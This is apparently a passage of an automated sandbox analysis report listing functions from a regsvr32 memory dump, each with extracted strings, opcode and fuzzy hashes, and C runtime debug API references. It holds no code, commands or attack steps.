Function 000000018000E5D4 Relevance: 1.3, Strings: 1, Instructions: 81COMMON

Download Yara Rule

Strings

N8$, xrefs: 000000018000E64E

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: N8$
API String ID: 0-2933465586
Opcode ID: 0eb94b4c30cdf64432c8dd49aa40656dc32a215d341cf791ffb885c3adf2427e
Instruction ID: 297b3d980fd839d27da657b87e2df8633a1b9c783a0b67fb1012bddc2283f9fe
Opcode Fuzzy Hash: 0eb94b4c30cdf64432c8dd49aa40656dc32a215d341cf791ffb885c3adf2427e
Instruction Fuzzy Hash: 0241827180078E8FCB45CF64D88A4CE7FB0FB18358F105A19F865A7260D3B49664CF95

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002B564 Relevance: 1.3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

Strings

wk, xrefs: 000000018002B5A3

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: wk
API String ID: 0-1447520534
Opcode ID: 0a0edc96079985f20ed57ef59bebf533c7b67d56244039d22a088e51808c84b4
Instruction ID: ed1e7f9bc21f483ed76e74f249cc539d96e15df8e9c5d2752f3a18cd8a4680c8
Opcode Fuzzy Hash: 0a0edc96079985f20ed57ef59bebf533c7b67d56244039d22a088e51808c84b4
Instruction Fuzzy Hash: A041C4B180074E8BCB48DF68D48A4CE7FF0FB68398F10461DE859A6250D7B49AA4CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180025180 Relevance: 1.3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

Strings

D7 , xrefs: 000000018002519E

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: D7
API String ID: 0-599489778
Opcode ID: 0decf5b59288eb500aae667ac6c9b4e4dce6b838f673c5fc17c927a6ca0452b7
Instruction ID: 9ff7da26f915c3fd9b9081bc776a27ba1207aebd425a4d5bef8b93ab939ca450
Opcode Fuzzy Hash: 0decf5b59288eb500aae667ac6c9b4e4dce6b838f673c5fc17c927a6ca0452b7
Instruction Fuzzy Hash: 4541B0B090074E8BCF48DF68D4965DE7FB0FB68388F20421DE816A6250D7B496A5CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800048B0 Relevance: 1.3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

Strings

-, xrefs: 00000001800048BC

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: -
API String ID: 0-2547686586
Opcode ID: 39f87b108b025f322a4fb09bf0250602f0777b0869fb0748bb25e5d88246fb72
Instruction ID: fb4667ec304b728e9739446c3b2210f9efd75ae712771165d94948b9d3b69a1a
Opcode Fuzzy Hash: 39f87b108b025f322a4fb09bf0250602f0777b0869fb0748bb25e5d88246fb72
Instruction Fuzzy Hash: E641D2B181038ECFCB48CFA4D88A5CE7BB1FB48358F115A09FC65A6224D3B49665CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015A64 Relevance: 1.3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

Strings

Q, xrefs: 0000000180015A70

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Q
API String ID: 0-2885194100
Opcode ID: bdb98b8b2c0f07edeaa2617f1c602c347d51b8d3ebd884f46db44bb476cabbd3
Instruction ID: a9705b719f6d6278401c973a571993bf085652b79919a3d293b183e1acac7421
Opcode Fuzzy Hash: bdb98b8b2c0f07edeaa2617f1c602c347d51b8d3ebd884f46db44bb476cabbd3
Instruction Fuzzy Hash: 9141F5B180434E8FCF48CFA4C84A4DE7FB1FB18318F004619EC5AA6250D7B49664CF85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180016054 Relevance: 1.3, Strings: 1, Instructions: 76COMMON

Download Yara Rule

Strings

UA;k, xrefs: 0000000180016115

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: UA;k
API String ID: 0-1243451539
Opcode ID: 9dbe3c72688dc078ed354c07d057a6794037f82480b8e2a0bdd9448b7935877c
Instruction ID: 446a4ee04f98266578c7fdeec7750357e9914a8a062f983f2ae732e753f3f9f0
Opcode Fuzzy Hash: 9dbe3c72688dc078ed354c07d057a6794037f82480b8e2a0bdd9448b7935877c
Instruction Fuzzy Hash: AC31E2B090034E8FCB48DF65C48A4DE7FB0FB68398F104619E859A6250D3B896A5CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180017638 Relevance: 1.3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

Strings

BHj, xrefs: 0000000180017725

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: BHj
API String ID: 0-429444599
Opcode ID: b2d81b77ec5a3d92ed60f1e2a925d42953c8b0d81e9e004bfe4218ede8c6c85b
Instruction ID: 88d82d5a62f7e83910e755dc00f06a4804c179e3d48da98a41081325a3075538
Opcode Fuzzy Hash: b2d81b77ec5a3d92ed60f1e2a925d42953c8b0d81e9e004bfe4218ede8c6c85b
Instruction Fuzzy Hash: 2F31B2B190078E8FCF84DF64C88A5DE7BB0FB58358F010A09E869A6250D7B8D665CF85

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800078A4 Relevance: 1.3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

Strings

h, xrefs: 0000000180007961

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: h
API String ID: 0-130632579
Opcode ID: d5fc1072884fae1f5b57c471a7f51524b23a4deaf3d031234e0c0be062cfd6f2
Instruction ID: cf3c4ac770fe2f70a1efbbc55b0bf253fcb3f834dda7a796d3e0b8f6df5914ba
Opcode Fuzzy Hash: d5fc1072884fae1f5b57c471a7f51524b23a4deaf3d031234e0c0be062cfd6f2
Instruction Fuzzy Hash: 803102705187C48BD789CFA8C48965EFBE1FB94384F50492DF486867A0C7F8D948CB86

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800050D4 Relevance: 1.3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

Strings

?%4, xrefs: 00000001800050F0

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ?%4
API String ID: 0-422666221
Opcode ID: 9a50b58e01a5729271d6177eeb6adb68723f1c473c55e35b3503dad5704e2603
Instruction ID: a7a624d76b7a6b6a49308da5d267df16e75217d08dbc55e4173753466c7a619f
Opcode Fuzzy Hash: 9a50b58e01a5729271d6177eeb6adb68723f1c473c55e35b3503dad5704e2603
Instruction Fuzzy Hash: 0721A470628780AB878CDF28D49981BBBE1FBC9304F906A1CF9C68B364D7749445CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180001870 Relevance: 1.3, Strings: 1, Instructions: 66COMMON

Download Yara Rule

Strings

ve, xrefs: 0000000180001922

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ve
API String ID: 0-2619166483
Opcode ID: 0af36e16279e0b52c57c96dd2be3cf2d778334959a734097dc29c8b03be7ea9c
Instruction ID: bd1518f744f48cc188204749d08526443734dde3f23549b257c943e1dafbc1e4
Opcode Fuzzy Hash: 0af36e16279e0b52c57c96dd2be3cf2d778334959a734097dc29c8b03be7ea9c
Instruction Fuzzy Hash: 3B217BB16187858BC748DF28C55951ABBE1FBCC318F404B5DF8CAAA360D378D645CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800026DC Relevance: 1.3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

Strings

Hk, xrefs: 000000018000270F

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Hk
API String ID: 0-2736353058
Opcode ID: f042022579c6dc077ee2635b55382d47991fd87e705928ebfd6682ca687bc5a7
Instruction ID: 887fdeaeec6620913bccc1519bb94b7ab545cc472d3a2f82c737665b3ebe67cb
Opcode Fuzzy Hash: f042022579c6dc077ee2635b55382d47991fd87e705928ebfd6682ca687bc5a7
Instruction Fuzzy Hash: 20319CB4628384AB8388DF28C49981ABBF1FBC9304F806A1DF8868A260D775D445CB03

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000529C Relevance: 1.3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

Strings

@Bp!, xrefs: 00000001800052BA

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: @Bp!
API String ID: 0-2853746471
Opcode ID: ef82bde12d532e04876809b878463bf9d85bf8adc7e5172117a9a71904663532
Instruction ID: a42def5e4906ba5408d95fb28ee36c9633a666dd8c6a1d0dabe2f17b10b73553
Opcode Fuzzy Hash: ef82bde12d532e04876809b878463bf9d85bf8adc7e5172117a9a71904663532
Instruction Fuzzy Hash: 8831F37080034E8BCB44DF64D48A4DE7FB0FB28398F11461AE869A6210D3B48694CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180006308 Relevance: 1.3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

Strings

_&%, xrefs: 0000000180006314

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: _&%
API String ID: 0-276555772
Opcode ID: 8f3b61786a1347c07c3d5db82c2bc2daa848de2eab2d644bf824955350391771
Instruction ID: 84b034befa84842a6d26d9f5413634863003efd6eec9a48b68f2958c9e87747a
Opcode Fuzzy Hash: 8f3b61786a1347c07c3d5db82c2bc2daa848de2eab2d644bf824955350391771
Instruction Fuzzy Hash: C3217BB06187848B8748DF28D45A51ABBE1FBCC308F404B5DF4CAAA360D3789609CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800295C8 Relevance: 1.3, Strings: 1, Instructions: 56COMMON

Download Yara Rule

Strings

V, xrefs: 00000001800295DC

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: V
API String ID: 0-2990084971
Opcode ID: 1782258294aa137d61fe32651e2643f77913c71ff09afc5f450ca4bece25d7e7
Instruction ID: 19a784c3393b647e1d02845cf9d1e0035701b9012461bc7b4b972f754d4b287b
Opcode Fuzzy Hash: 1782258294aa137d61fe32651e2643f77913c71ff09afc5f450ca4bece25d7e7
Instruction Fuzzy Hash: E021ADB4529780AFD788DF28D09981FBBF0FB89304F806A1CF9868B360E3759445CB02

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800229CC Relevance: 1.3, Strings: 1, Instructions: 47COMMON

Download Yara Rule

Strings

fe_, xrefs: 0000000180022A54

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: fe_
API String ID: 0-1346747655
Opcode ID: 656de1a6cae0373b094f44c9878c04d225c006d82b161423a6aec508986bcc20
Instruction ID: 9f8913945123cb4278df7be958afc5fc5d749fa594805d3e5c5ffa2821aade6f
Opcode Fuzzy Hash: 656de1a6cae0373b094f44c9878c04d225c006d82b161423a6aec508986bcc20
Instruction Fuzzy Hash: 25215DB55183818B9348EF28D44A51BBBE1BB8D34CF404B5DF4CEAA260D778D615CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180022290 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 690f928848312d3e50bce6c98363679f754364b802b69089bfd2d1cc95353951
Instruction ID: f4bbdddc4ebc6fe898ddfb3184844cd7ab88b5746f894e32bccfd4327ba112cf
Opcode Fuzzy Hash: 690f928848312d3e50bce6c98363679f754364b802b69089bfd2d1cc95353951
Instruction Fuzzy Hash: F751247152078DABDBC9DF28C8CAA9C3BA1FB44754F806219FC468A261D774D5C9CB41

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180008134 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7876522931334601bd90a80625b7f157024bfeead9eee4300288ec184fcbc12
Instruction ID: d7e3191637b78f1be9ff87ab698ad538cd7d2d45c46478ba59590cd585685a95
Opcode Fuzzy Hash: a7876522931334601bd90a80625b7f157024bfeead9eee4300288ec184fcbc12
Instruction Fuzzy Hash: 5761B1B490078E8FCF48DF68D8595DE7BB0FB48318F014A19FC6696250D7B49A25CB84

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001E2F4 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88e65efb6d3fa20939ff192da4dfa840d39aac14346873756c43568c41f67993
Instruction ID: f17689cc06c9532d3252f7dc5abd3373f404a3f8166a5e21e79f0a6996b359c5
Opcode Fuzzy Hash: 88e65efb6d3fa20939ff192da4dfa840d39aac14346873756c43568c41f67993
Instruction Fuzzy Hash: 0B41B870608B488FC768DF19D08976ABBF1FB89711F40856EE68AC7351DB319848CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800280C8 Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 485b6be602952e656e1e94650c6f168335af82f45d0d0f5b4aa22a8c646e7c56
Instruction ID: 9422144e28ecc4a9930a11d21f18f8515329dd70f686b1b52883d16e1825d5f7
Opcode Fuzzy Hash: 485b6be602952e656e1e94650c6f168335af82f45d0d0f5b4aa22a8c646e7c56
Instruction Fuzzy Hash: 2A414D34509B588FD768DF28918A75ABBE0FF99310F004A5EE58EC7362D770D949CB82

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180006954 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c92699b14e6c2b4fd34943bfb19e45adab91cb197e26a720392e823bcd093906
Instruction ID: bbd244a3cf3555809e115011e05a98a3e8d5fd40b217627e69400f11bfb30a94
Opcode Fuzzy Hash: c92699b14e6c2b4fd34943bfb19e45adab91cb197e26a720392e823bcd093906
Instruction Fuzzy Hash: 745193B590434ACFCF48CF64D48A5CE7FB0FB68398F214219E856A6250D3B496A4CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180012500 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22d6ccee6f38bff831197d2bb081fadbeca5e8b7e3ae62232a51f5952ffcfbdb
Instruction ID: 8b5374169f69602128bd3032aff790cb1f354843cf4962b6e845d1f3af7287dc
Opcode Fuzzy Hash: 22d6ccee6f38bff831197d2bb081fadbeca5e8b7e3ae62232a51f5952ffcfbdb
Instruction Fuzzy Hash: 9741A0B180078E8BCB44CFA8D84A5DE7BF0FB18358F104A19F865A6250D3B89668CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180022140 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c574afae7ba18edac7d834e0abd82c8c7458f2e927091ead9319fe9aa7316d5f
Instruction ID: c15f1aaae4e4e13c906589d5588e8395ab5dda45948680e718f465f07a8a5b6e
Opcode Fuzzy Hash: c574afae7ba18edac7d834e0abd82c8c7458f2e927091ead9319fe9aa7316d5f
Instruction Fuzzy Hash: EC41C4B190038E8FDF48CF64C84A4DE7BB0FB58358F104619E86AA7250D3B8D665CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180020E40 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4afcbbeb8beafd70164a818e9f41371ad943d797e3468922fcea1c7c9f2e7631
Instruction ID: c896a4b3abc40741a1500648b31ed7fd3e584cfdc10005e9d212c87c64feccae
Opcode Fuzzy Hash: 4afcbbeb8beafd70164a818e9f41371ad943d797e3468922fcea1c7c9f2e7631
Instruction Fuzzy Hash: 2541C1B181035E8BDB48CFA8D48A5DE7FB0FB68398F204619E855A6214D3B496A4CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001C1B8 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6edc2e1e82c131bcdf0495892124b6f46e3b6b242b9e6d8eacab558a4eb6cfc8
Instruction ID: db142853bc0ceb5379a440845187b42230294cb0dc3411c083ed269e5703ce5c
Opcode Fuzzy Hash: 6edc2e1e82c131bcdf0495892124b6f46e3b6b242b9e6d8eacab558a4eb6cfc8
Instruction Fuzzy Hash: E831AFB090034E8FCB48CF68C4865DE7FB0FB58398F114219E85AA6210D3B496A5CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800162BC Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c455d63c0866516b303eef6870e820fc06907d5cf01b5e138b1643b6a977dfc
Instruction ID: 032a8ed253072f6fd1b05e82d0325949fdf78283cb4c6b9cd1929990fdaa7975
Opcode Fuzzy Hash: 6c455d63c0866516b303eef6870e820fc06907d5cf01b5e138b1643b6a977dfc
Instruction Fuzzy Hash: F93195B050078A8BCF48DF68C85A5AE3BB1FB48308B404A2DFD269A350D7B49664CB84

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180021444 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91382f82a540e9ea2bbfb40e05a393f87671ab464d1f075959bb3f3378a52dce
Instruction ID: 9b1437c5de0cc84ebb9c914bb54d42d7cbbf0eefc466e3cb3beb54b329be6ed5
Opcode Fuzzy Hash: 91382f82a540e9ea2bbfb40e05a393f87671ab464d1f075959bb3f3378a52dce
Instruction Fuzzy Hash: E631D5B190034E8FCF48DF68C48A4DE7FB1FB68398F100619E816A6250D3B896A4CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015F24 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76bccbb128cfcb22620bb2b416fc3ca44309eaef87c6278072ef16f6a50a05e8
Instruction ID: e5161e45e20286f18a7c233b2d95f7c6d50d739ad8bc374cfda940a225cf7d0d
Opcode Fuzzy Hash: 76bccbb128cfcb22620bb2b416fc3ca44309eaef87c6278072ef16f6a50a05e8
Instruction Fuzzy Hash: DD315C305187849BC3999B24C4C925EBEE1FB85399FA0682CF1C3C6264D774C98A8B06

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180026A90 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33d7533839bea32518041b6ca5f29ea3ef2f9d4ceb6278032ee9dcaf63ac5804
Instruction ID: e62117077ddfbae32c834d069a9ab80343e2b26cefae081dcf738b8df2b77597
Opcode Fuzzy Hash: 33d7533839bea32518041b6ca5f29ea3ef2f9d4ceb6278032ee9dcaf63ac5804
Instruction Fuzzy Hash: B22148B56183848BD749DF28D44A41ABBE1FB9C74CF400B6DF4CAAB250D378D649CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001A988 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ecf74b073e9749c9a707f8928f85ed0a2f8ff40eefc5cc2f6539f01074e035d
Instruction ID: 503aa3927fff6e4ad3ec536c6aa42fcab205a0bd32951b21a7cd1c91f46ab624
Opcode Fuzzy Hash: 8ecf74b073e9749c9a707f8928f85ed0a2f8ff40eefc5cc2f6539f01074e035d
Instruction Fuzzy Hash: 3F2150B46187848BD748DF28C45641ABBE1FB9C358F804B2DF4CAA7350D7789A05CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001DEFC Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.914096023.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9daa26d15846afd04c30d9d8c23f2645a3612f544d511007b76009de9b77635d
Instruction ID: bec49874bf3906a1a9314e610e6330a75ea1af3aa415f07e7967bd5f7b72e726
Opcode Fuzzy Hash: 9daa26d15846afd04c30d9d8c23f2645a3612f544d511007b76009de9b77635d
Instruction Fuzzy Hash: 61215CB16187848BD748DF28D05941FBBE0BB8D358F405B2DF8CAA6351D7789644CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2F7F1 Relevance: 79.1, APIs: 23, Strings: 22, Instructions: 376COMMON

Download Yara Rule

APIs

_itow_s.LIBCMTD ref: 000007FEF9D2F828
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2F855
OutputDebugStringA.KERNEL32 ref: 000007FEF9D2F861
OutputDebugStringA.KERNEL32 ref: 000007FEF9D2F89B
OutputDebugStringA.KERNEL32 ref: 000007FEF9D2F8A8
OutputDebugStringA.KERNEL32 ref: 000007FEF9D2F8B6
OutputDebugStringA.KERNEL32 ref: 000007FEF9D2F8C3
_wcsftime_l.LIBCMTD ref: 000007FEF9D2F939
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D2F991
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2F9EF
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2FA6B
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2FAB2
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2FB1F
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2FB65
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D2FC34
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2FC92
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D2FD69
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2FDB6
_unlock.LIBCMTD ref: 000007FEF9D2FEFE

Strings

Assertion failed!, xrefs: 000007FEF9D2FA1A
strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D2F9E6
Pl, xrefs: 000007FEF9D2FD1B
_CrtDbgReport: String too long or IO Error, xrefs: 000007FEF9D2F9AE, 000007FEF9D2FC51
Second Chance Assertion Failed: File , xrefs: 000007FEF9D2F85A
e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1)), xrefs: 000007FEF9D2FD50
_VCrtDbgReportA, xrefs: 000007FEF9D2F845, 000007FEF9D2F971, 000007FEF9D2F9DF, 000007FEF9D2FA5B, 000007FEF9D2FAA2, 000007FEF9D2FB0F, 000007FEF9D2FB55, 000007FEF9D2FC14, 000007FEF9D2FC82, 000007FEF9D2FD44, 000007FEF9D2FDA6, 000007FEF9D3007D
<file unknown>, xrefs: 000007FEF9D2F884
_itoa_s(nLine, szLineMessage, 4096, 10), xrefs: 000007FEF9D2F84C, 000007FEF9D30084
, Line , xrefs: 000007FEF9D2F8A1
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D2FC89
wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String"), xrefs: 000007FEF9D2FDAD
%s(%d) : %s, xrefs: 000007FEF9D2FBC2
